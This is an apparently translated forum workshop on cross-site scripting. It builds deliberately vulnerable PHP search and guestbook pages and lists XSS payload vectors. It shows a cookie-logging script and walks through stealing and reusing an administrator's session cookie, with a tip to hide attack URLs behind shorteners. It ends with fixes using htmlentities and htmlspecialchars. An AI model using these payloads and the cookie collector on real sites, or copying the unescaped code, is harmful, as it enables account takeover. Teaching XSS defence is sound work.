Web Security Workshop #1

<br /><br />1. Introduction.<br /><br />The acronym XSS stands for Cross Site Scripting; the reason it is not abbreviated as CSS is to avoid confusing it with style sheets. <br />XSS is a very popular vulnerability today and according to OWASP statistics, 90% of websites are vulnerable and 70% of those have XSS.<br /><br />Even though XSS is an old vulnerability, new vectors to exploit it keep appearing to this day.<br />This security vulnerability allows an attacker to insert HTML or Javascript code into a web form in order to obtain information and then take advantage of it. It is normally used to steal the Cookies of a site's administrator and then be able to use them to log in. Although it is also used to do Phishing, defaces, etc.<br /><br />XSS arises as a consequence of errors in filtering user inputs on websites. <br /><br />This vulnerability is usually found most of the time in website search engines. But in reality it can be found on any site that contains forms, such as registration forms, guestbooks, among others.<br /><br />XSS are classified in two ways:<br /><br />Persistent:<br /><br />Persistent or Stored XSS are those that remain saved on the vulnerable site and can affect anyone who enters the website, since it is hosted on the site and every person who enters will be affected by it.<br />This type of vulnerability is very difficult to find and is usually seen in guestbooks, or some type of upload form. With this one could manage to do a deface by placing a div that occupies the whole page or with some redirection to another site.<br /><br />Reflected:<br /><br />Reflected XSS is one that is not stored on the vulnerable web, but can be useful to us if the XSS travels through the URL. This way we could, by means of the URL, execute the script on someone.<br />Although it is more difficult to take advantage of it, it is usually seen on a large number of sites, especially if they are search engines.<br /> <br /><br />2. Practical Workshop | Exploiting the Vulnerability.<br /><br />Reflected:<br /><br />In this first part of the workshop we will set up a platform vulnerable to reflected XSS. For this we will need to have a host to set it up or simply have XAMPP/WAMP installed on our machine.<br /><br />Something very important is that you use Firefox, since in other browsers, sometimes the alerts are not shown.<br /><br />What we will do now is open a notepad and put the following code:<br /><br />index.html<br /><br />

<html><br />	<head><br />		<title>Underc0de XSS Reflejado</title><br />	</head><br />	<body><br /><center><br />			<img src="logo.png"><br />			<form action="buscador.php" method="get"><br />			Buscador: <input name="buscar" value="" size="50"><br /><br/><br />			<input type="submit" value="Buscar"/><br />			</form><br />		</center>	<br /></body><br /></html><br />

<br /><br /><br /><br />Once saved, we will open the notepad again and put the following:<br /><br />buscador.php<br />

<html><br />	<head><br />		<title>Resultado de la busqueda</title><br />	</head><br />	<body><br /><center><br />			<img src="logo.png"><br />			<?php<br />			if(isset($_GET["buscar"]))<br />		{<br />		  $busqueda= $_GET["buscar"];<br />		echo "<p align='center'>No se ha encontrado ningun resultado que contenga:" . $busqueda . "</p>";	<br />		}<br />		?><br />		</center>	<br /></body><br /></html>

<br /><br /><br /><br />Basically what these files do is:<br /><br />The index.html file contains an input in which the word to search is entered. When pressing the search button, it sends that entered word to the buscador.php file and this displays that word.<br /><br />Once this is done and understood, we save them and place both files inside a directory within the htdocs or www folder (depending on whether you use wamp or xampp), in my case it will be called XSS.<br /> <br />We access our directory from the browser:<br /><br />In my case, it would be: Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />We should see something like this:<br /><br /><br /><br />To test if it works, we will place some word and press the search button:<br /><br />The result will be the following:<br /><br /><br /><br /><br /><br />As we can see, the word inserted in the input is shown in this form and if we look at the url, we can observe that said word also travels there:<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /> <br />As we said at the beginning, this vulnerability allows injecting HTML code into the web application. For this we will place <h1>Underc0de</h1> and see what happens:<br /><br /><br /><br /><br /><br />With this we could almost confirm that this web is vulnerable to XSS. To completely clear our doubts, we will insert the following:<br /><br /><br /><br /><br /><br /><br /><br />And here we have our reflected XSS.<br /><br />As you can see, in all the screenshots I have put the URLs, and in this case we have:<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<script>alert('xss');</script><br /><br />Which we can pass to someone and thus be able to execute the script on them.<br /><br />Something that is usually done is to hide the URL with some URL shortener to go unnoticed.<br /><br />Some clarifications to keep in mind:<br /><br />Vector: <script>alert('XSS');</script><br /><br />The vector can vary depending on how the form where it is being injected is made.<br /><br />In this case it is easy, since the busqueda.php file shows the same as what we enter in index.html<br /><br />There are several variants for the vectors such as:<br /><br />"><script>alert('XSS');</script><br /><script>alert(/XSS/);</script><br /><br />We can also use numbers, with which it is not necessary to use quotes or slashes<br /><br /><script>alert(9);</script><br /><script>alert(document.cookie);</script><br /><imgsrc='javascript: alert(/XSS/); //.jpg' ><br /><br />The <> and the slash / can also be filtered using hexadecimal characters:<br /><br />%3Cscript%3ealert(/XSS/);%3C%2Fscript%3e<br /><br />Another of the things that can be done is a loop:<br /><br /><script>for(;;)alert("bucle");</script><br /><br />Among many more that can be used depending on the website.<br /> <br />Persistent:<br /><br />As we had said before, persistent XSS is one that remains hosted on the vulnerable site and can affect anyone who visits it.<br /><br />Next we will make a guestbook style which will be vulnerable to XSS. For this, we open the notepad, and place the following code:<br /><br />Index.php<br /><br />

<html><br />	<head><br />		<title>Libro de visitas</title><br />	</head><br />	<body><br />		<center><br />			<hr><br />			<h1>Libro de visitas</h1><br />			<hr><br />			<form action="enviar.php" method="POST"><br />				<input name="nombre"type="text"value="Ingresa tu nombre"><br />				<br><br><br />				<textarea name="comentario">Ingresa tu comentario</textarea><br />				<br><br><br />				<input name="enviar" type="submit" value="Enviar"><br />			</form><br />			<hr><br />			<h1>Comentarios enviados</h1><br />			<hr><br />			<?phpreadfile('comentarios.txt'); ?><br />		</center><br />	</body><br /></html>

<br /><br /><br /><br />Enviar.php<br /><br />

<?php<br />$nombre = $_POST['nombre']; <br />$comentario = $_POST['comentario']; <br />$fecha =date("j-n-Y h:i:s" ); <br />$fp=fopen("comentarios.txt","a+" ); <br />$salida='<br />			<div>'.$nombre.', publicado el '.$fecha.'</div><br />			<div>'.$comentario.'</div><br />			<hr>'; <br />fwrite($fp,$salida); <br />fclose($fp); <br />header("Location:index.php" );<br />?>

<br /><br /><br /><br />Finally, we create an empty file called comentarios.txt with write permissions, since the comments of our guestbook will be saved there.<br /><br />Just like the previous script, we place it on our server and access it from the browser.<br /><br />We will have something like this:<br /><br /><br /><br />We place our name in the field to enter name, and in the comment we place the following vector:<br /><br /><br /><br /><br /><br />When clicking the send button, our vector will be stored in the guestbook and every time someone enters the site, the script will execute.<br /><br /><br /><br /><br />3. Cookie Theft | Using Them.<br /><br />According to Wikipedia, <br />A cookie (or computer cookie) is a small piece of information sent by a website and stored in the user's browser, so that the website can consult the user's previous activity.<br /><br />And one of its main functions is:<br /><br />Keeping track of users: when a user enters their username and password, a cookie is stored so that they don't have to keep entering them for each page of the server. <br /><br />In this workshop we will learn to extract the cookies of some person who enters the guestbook, and if that person is the administrator, their cookies could be used to be able to impersonate them, and enter the website's administration panel.<br /><br />For this, we will create the following file in php<br /><br />cookies.php<br /><br />

<?<br />$cookie = $_GET['cookie'];<br />$fff=fopen("cookies.txt","a");<br />fwrite($fff, "$cookie\n");<br />fclose($fff);<br />?>

<br /><br /><br /><br />In addition, in the same path where the cookies.php file will be, we must create one called cookies.txt empty with write permissions.<br /><br />Now we go to the vulnerable page and we will use the following vector to capture the cookies of the people who enter:<br /><br /><br /><br />Replace Los enlaces son solo para miembros. Registrate o iniciá sesión with the address where we have the script hosted.<br /><br />Before creating the message with the injection, we must remember that if we introduce it, whenever we start the guestbook, it will redirect us to the cookie.php file, so, after the administrator has entered the site, we will have to edit the message, for that, we are going to look at the urls.<br /><br /><br /><br /><br /><br />Once created, we are going to edit our own message, copying the url so that later we can edit it again without entering the index.<br /><br /><br /><br /><br /><br />And now yes, we edit it with our injection.<br /><br /><br /><br />We edit the message and observe that it has redirected us to our own file.<br /><br /><br /><br />Discarding that cookie, since it is ours, we will wait for the administrator to access the site.<br /><br />Minutes later, we check the cookies.txt file and observe this:<br /><br /><br /><br />Knowing that the first one is our cookie, we are going to try with the second one, hoping that it is that of an administrator.<br /> <br />We return to our url, to edit the message we had created, thus being able to access the index again.<br /><br /><br /><br />Now, to use the cookie we have stolen, we can use several extensions, among them, live http headers, tamper data, and cookie manager +, etc...<br /><br />We search our cookie and edit it with the one we have obtained:<br /><br /><br /><br />Leaving it like this:<br /><br /><br /><br />We save the changes and refresh the guestbook.<br /><br />And bingo! We have access to the administration.<br /><br /><br /><br />In case we have a reflected XSS on some site, we will have to build the entire URL with the vector to steal the cookie, and pass that url to the person we want, which generally is usually the admins of the pages. But in general, those built urls are usually very obvious, so url shorteners are used so that they don't suspect.<br /><br /><br />4. Fixing the Vulnerability.<br /><br />There are several ways to solve the vulnerability, the most used is by means of:<br /><br />With htmlentities() all characters that have an HTML equivalent are converted and this way it does not allow opening or closing HTML tags. To apply it to the guestbook form, we simply must modify the lines where the variables $nombre and $comentario are passed, leaving them as follows:<br />

<br />		<div>'.htmlentities($nombre).', publicado el '.$fecha.'</div><br />		<div>'.htmlentities($comentario).'</div>

<br /><br />Once modified, the scripts will no longer execute in the browser and it will correctly show us the entered text.<br /><br /><br /><br />In the same way, we will solve the vulnerability in the buscador.php file<br /><br /><br /><br /><br /><br />The other way is with htmlspecialchars(), which converts special characters into HTML entities and performs the following conversions:<br /><br />•   '"' (double quotes) becomes '&quot;' when ENT_NOQUOTES is not set. <br />•   "'" (single quote) becomes ''' (or &apos;) only when ENT_QUOTES is set. <br />•   '<' (less than) becomes '&lt;' <br />•   '>' (greater than) becomes '&gt;' <br />•   '&' (ampersand) becomes '&amp;'<br /><br />Assuming you have the following vulnerable code:<br /><br />

<?php<br />$pag = $_GET['page'];<br />if($pag=="index"){<br />	echo"index";<br />}<br />elseif($pag!= ""){<br />echo"Error: ".$pag." No existe.";<br />}<br />?>

<br /><br />It is applied as follows:<br /><br />

<?php<br />$pag = $_GET['page'];<br />if($pag=="index"){<br />	echo"index";<br />}<br />elseif($pag!= ""){<br />$pagg=htmlspecialchars($pag, ENT_QUOTES);<br />echo"Error: ".$pagg." No existe.";<br />}<br />?>

<br /><br />Both are similar: htmlspecialchars() converts characters that are used to work with HTML (<, >, ", ' and &), htmlentities() translates all those that have an HTML equivalent in addition to the ones mentioned before (For Example: accented vowels).<br /><br />Tutors: Blackdrake - ANTRAX<br /><br /><br />